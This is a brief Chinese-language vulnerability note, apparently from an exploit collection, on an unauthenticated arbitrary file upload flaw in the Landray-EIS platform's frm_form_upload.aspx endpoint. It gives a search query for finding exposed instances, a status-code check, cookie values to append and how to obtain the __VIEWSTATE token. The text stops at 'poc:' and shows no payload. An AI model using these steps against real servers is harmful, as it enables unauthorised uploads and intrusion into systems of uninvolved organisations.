蓝凌-EIS frm_form_upload.aspx 接口 前台任意文件上传漏洞

app="Landray-EIS智慧协同平台"

漏洞点:访问 http://xxx/frm/frm_form_upload.aspx
如果访问状态码为200或者500都说明存在漏洞，500是存在漏洞但是没有cookies。访问原始地址抓包请求即可获取前半段cookies，再拼接FIOA_IMG_FOLDER=FI; Lang=zh-cn

拼接完cookies再访问再次访问 /frm/frm_form_upload.aspx页面获取csrf token，这个token填入后面poc的__VIEWSTATE参数

poc:
